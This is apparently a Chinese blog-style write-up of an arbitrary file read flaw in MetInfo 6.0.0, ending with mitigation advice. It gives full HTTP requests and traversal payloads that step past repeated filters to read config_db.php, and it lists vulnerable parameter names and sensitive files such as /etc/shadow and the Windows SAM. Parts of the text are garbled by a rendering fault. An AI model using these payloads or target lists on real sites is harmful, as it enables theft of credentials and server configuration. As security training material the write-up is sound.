漏洞名称:MetInfo任意文件读取
漏洞简介:MetInfo是一套使用PHP和MySQL开发的内容管理系统,其中的old_thumb.class.php文件存在任意文件读取漏洞,攻击者可利用该漏洞读取网站的敏感文件。
影响版本:MetInfo 6.0.0
提示:以下是本篇文章正文内容,下面案例可供参考
漏洞分析:漏洞点位于/app/system/include/module/old_thumb.class.php
问题代码如下:
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web{
public function doshow(){
global $_M;
$dir = str_replace('../', '', $_GET['dir']);
if(strstr(str_replace($_M['url']['site'], '', $dir),'http')){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
分析:
可以看到 d i r 直接由 dir直接由 dir直接由_GET[‘dir’]传递进来,并将…/置空,目标是进入到第一个if里面的readfile( d i r ) ;进行文件的读取。 I f 语句的条件是将 dir);进行文件的读取。If语句的条件是将 dir);进行文件的读取。If语句的条件是将dir中包含 M [ ′ u r l ′ ] [ ′ s i t e ′ ] 的部分置空,外面是一个 s t r s t r 函数,判断 _M['url']['site']的部分置空,外面是一个strstr函数,判断 M[′url′][′site′]的部分置空,外面是一个strstr函数,判断dir中http字符串的首次出现位置。要进入到if语句,只需$dir中包含http字符串即可。
代码如下(示例):
GET /MetInfo6.0.0/include/thumb.php HTTP/1.1
Host: xxx.xxx.xx.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
代码如下(示例):
GET /MetInfo6.0.0/include/thumb.php?dir=..././http/..././config/config_db.php HTTP/1.1
Host: xxx.xxx.xx.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
该处使用的url网络请求的数据。
分析
- 访问目标网站网址:http://xxx.xxx.xx.x/MetInfo6.0.0/include/thumb.php并用burpsuite抓包。
- 根据分析可以构造出payload,只要$dir里包含http字符串就可以进入到readfile函数,使用…/./来进行目录跳转,因为…/会被置空,最终的payload:
实验burp返回数据为:
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web{
public function doshow(){
global $_M;
$dir = str_replace(array('../','./',) ,'', $_GET['dir']);
if(strstr(str_replace($_M['url']['site'], '', $dir),'http')){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
修改后保存,再次访问靶机目标地址并抓包,输入之前的payload:
返回值:
可以看到把…/和./都置空后已经无法读取config_db.php的内容。
绕过方法:使用……///来跳转目录,……///经过str_replace置空,剩下…/跳转。
修改payload
修改old_thumb.class.php内容为:
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web{
public function doshow(){
global $_M;
$dir = str_replace(array('../','./',) ,'', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4)'http'){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
substr函数:返回字符串的一部分,0表示从字符串的第一个字符开始(即‘h’),4表示被返回字符串的长度。
这里加上一个判断:$dir要以http开头。修改后保存,再次访问并抓包,输入1中的payload:
返回值为:
$dir没有以http开头,而是以.开头,无法读取config_db.php的内容。
绕过方法:将$dir以http开头,修改payload为:
?dir=http/.....///.....///config/config_db.php
发包,得到返回值:
修改old_thumb.class.php内容为:
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web{
public function doshow(){
global $_M;
$dir = str_replace(array('../','./',) ,'', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4)'http'&& strpos($dir,'./')=== false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
使用strpos函数查找./首次出现的位置,也就是说不能出现‘./’。修改后保存,再次访问并抓包,输入2中的payload:
payload中存在./,而判断条件中不能出现./,所以无法进行文件读取。
绕过方法:用…\来跳转目录,修改payload为:
?dir=http\..\..\config\config_db.php
将./替换成…\
(这编辑器我打两个点非显示三个 迷),成功实现敏感文件的读取。
彻底杜绝该漏洞
任意文件读取是属于文件操作漏洞的一种,一般任意文件读取漏洞可以读取配置信息甚至系统重要文件。其中的目录遍历是由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件(可以是web根目录以外的文件),甚至执行系统命令。更严重的,导致SSRF漏洞,进而漫游至内网。
可能包含在url中的链接字符
download.php?path=
download.php?file=
down.php?file=
data.php?file=
readlife.php?file=
read.php?filename=
可能包含的参数
&url=
&file_name=
&Filepath=
&Path=
&Data=
windows:
C:\boot.ini #查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml #IIS配置文件
C:\Windows\repair\sam #存储系统初次安装的密码
C:\Program Files\mysql\my.ini #Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD #Mysql root密码
C:\Windows\php.ini #php配置信息
linux:
/etc/passwd #账户信息
/etc/shadow #账户密码文件
/etc/my.conf #mysql 配置文件
/etc/httpd/conf/httpd.conf #Apache配置文件
/usr/local/app/apache2/conf/httpd.conf #Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf #虚拟网站配置
/usr/local/app/php5/lib/php.ini #PHP相关配置
readfile()、file_get_contents()、fopen()中,$filename没有经过校验或者校验不合格,用户可控制变量读取任意文件,如/etc/passwd、./index.php、/config.ini。
靶场地址
靶标名称:afr_1 afr_2 afr_3
答案与解析步骤一搜一堆,不再赘述。
过滤“.(点)”,使用户在url中不能回溯上级目录 正则严格判断用户输入参数的格式
php.ini配置open_basedir限定文件访问范围 要下载的文件地址保存至数据库中。
文件路径保存至数据库,让用户提交文件对应ID下载文件。 用户下载文件之前需要进行权限判断。
实在解决不了漏洞产生的语句,那就解决产生漏洞的脚本--哎嘿